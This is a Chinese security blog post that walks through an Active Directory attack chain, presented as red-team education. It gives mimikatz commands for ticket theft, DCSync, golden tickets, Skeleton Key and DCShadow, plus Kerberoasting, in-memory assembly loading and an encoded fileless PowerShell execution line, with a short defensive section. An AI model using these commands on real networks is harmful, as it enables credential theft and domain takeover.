> 内网渗透与域渗透:从初始访问到域控沦陷的完整攻击链剖析 _

内网渗透与域渗透:从初始访问到域控沦陷的完整攻击链剖析

前言

在企业安全防护体系中,内网和域环境的安全一直是攻防对抗的核心战场。随着企业网络规模不断扩大和业务复杂度的提升,攻击者一旦突破边界防御,内网渗透和域渗透便成为获取核心资产和数据的关键手段。本文将从实战角度,深入剖析内网渗透与域渗透的完整攻击链,分享一些鲜为人知的技术细节和防御思路。

内网渗透基础

网络探测与信息收集

进入内网后的第一步就是对网络环境进行探测。除了常规的ipconfig /allarp -a命令外,高级攻击者往往会使用更隐蔽的方式:

# 使用WMI进行网络配置查询,避免触发基于命令行监控的警报
wmic nicconfig get ipaddress,macaddress

# 通过DNS查询发现内网域控制器
nslookup -type=SRV _ldap._tcp.dc._msdcs

端口扫描在内网中需要特别谨慎,传统的nmap扫描容易被检测。可以考虑使用低速率扫描或基于合法流量的端口识别技术:

# 基于socket的慢速端口扫描示例
import socket
import time

def slow_scan(target, ports):
    for port in ports:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex((target, port))
            if result == 0:
                print(f"Port {port}: Open")
            sock.close()
            time.sleep(5)  # 添加延迟避免触发检测
        except Exception as e:
            print(f"Error scanning port {port}: {str(e)}")

横向移动技术

横向移动是内网渗透的核心环节,其中票据传递(Pass-the-Ticket)和哈希传递(Pass-the-Hash)是最常用的技术。

Kerberos票据利用:

# 使用mimikatz提取Kerberos票据
mimikatz # sekurlsa::tickets /export

# 注入票据到当前会话
mimikatz # kerberos::ptt [ticket_file]

WMI远程执行:

# 通过WMI在远程主机上执行命令
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "TARGET-PC" -Credential $cred

域渗透深入

域环境信息收集

在域环境中,信息收集的深度和广度直接决定后续攻击的成功率。

PowerView的进阶用法:

# 查找具有复制权限的用户
Get-NetUser -SPN | ?{$_.memberof -match "Domain Controllers"} | Select name,memberof

# 获取域信任关系
Get-NetDomainTrust -API

BloodHound数据分析:

BloodHound是域渗透中的"神器",但如何有效利用其数据需要技巧:

// 查找从当前用户到域管理员的最短路径
MATCH (u:User {name: "CURRENT_USER@DOMAIN.LOCAL"}), (d:Group {name: "DOMAIN ADMINS@DOMAIN.LOCAL"}), p = shortestPath((u)-[*1..]->(d)) RETURN p

权限提升与持久化

DCSync攻击:

DCSync是获取域控权限的重要手段,其本质是模拟域控制器进行数据同步。

# 使用mimikatz执行DCSync攻击
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

黄金票据生成:

# 获取KRBTGT账户的NTLM哈希后生成黄金票据
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash_value /ptt

域持久化技术

Skeleton Key攻击:

# 在域控制器上安装Skeleton Key
mimikatz # misc::skeleton

DCShadow攻击:

DCShadow允许攻击者注册一个恶意的域控制器,用于推送恶意更改:

# 设置DCShadow攻击
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:cn=admin,dc=domain,dc=local /attribute:primarygroupid /value:512

防御与检测

攻击检测技术

异常登录检测:

-- 检测异常Kerberos登录请求
SELECT * FROM SecurityEvents 
WHERE EventID = 4768 
AND TicketEncryptionType NOT IN (0x17, 0x18)
AND IPAddress NOT IN (SELECT IPAddress FROM WhitelistedIPs)

PowerShell日志分析:

# 启用详细的PowerShell日志记录
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

防御加固措施

privileged Access Management(PAM):

实施PAM解决方案,确保特权账户的使用受到严格控制和监控。

网络分段:

# 使用Windows防火墙进行网络分段
netsh advfirewall firewall add rule name="Block Lateral Movement" dir=in action=block protocol=TCP localport=135,139,445 remoteip=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

实战案例研究

案例一:从边缘节点到域控沦陷

某次红队行动中,我们通过一个易受攻击的Web应用获得初始立足点。通过细致的网络探测,发现内网中存在多个未打补丁的系统。

关键攻击步骤:

  1. 使用MS17-010漏洞在内网中横向移动
  2. 通过PowerShell远程加载恶意脚本绕过应用白名单
  3. 利用Kerberoasting攻击获取服务账户凭据
  4. 通过DCSync最终获取域管理员权限
# Kerberoasting攻击示例
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

案例二:绕过高级威胁防护

在一次有严格安全防护的环境中,我们采用了以下技术绕过检测:

代码执行绕过:

# 使用CLR加载执行C#代码
$assembly = [System.Reflection.Assembly]::Load([byte[]](0x4d,0x5a,...))
$type = $assembly.GetType("ClassLibrary1.Class1")
$method = $type.GetMethod("Execute")
$method.Invoke($null, $null)

无文件攻击:

# 使用WMI实现无文件持久化
wmic /node:target process call create "powershell -nop -exec bypass -enc BASE64_ENCODED_SCRIPT"

未来趋势与思考

随着云原生和零信任架构的普及,传统的域渗透技术面临新的挑战和机遇。攻击者开始更多地利用:

  1. 云身份联邦攻击:通过攻陷本地AD进而影响云环境
  2. 容器逃逸:从容器环境突破到宿主机节点
  3. API滥用:利用云服务API进行横向移动

防御方也需要相应调整策略,加强身份治理、实施微隔离、部署基于行为的检测机制。

结语

内网渗透与域渗透是一个深度和广度都极大的技术领域,本文仅触及了冰山一角。真正掌握这些技术需要大量的实践和不断的学习。重要的是要记住,技术本身是中立的,如何运用这些技术取决于使用者的意图。作为安全从业者,我们的责任是理解攻击技术以便更好地防御它们。

希望本文能为读者提供一个深入理解内网和域渗透技术的窗口,并在实际的安全工作中发挥作用。安全之路漫长而充满挑战,唯有持续学习才能跟上技术发展的步伐。

> 文章统计_

字数统计: 计算中...
阅读时间: 计算中...
发布日期: 2025年09月12日
浏览次数: 48 次
评论数量: 0 条
文章大小: 计算中...

> 评论区域 (0 条)_

发表评论

1970-01-01 08:00:00 #
1970-01-01 08:00:00 #
#
Hacker Terminal
root@www.qingsin.com:~$ welcome
欢迎访问 百晓生 联系@msmfws
系统状态: 正常运行
访问权限: 已授权
root@www.qingsin.com:~$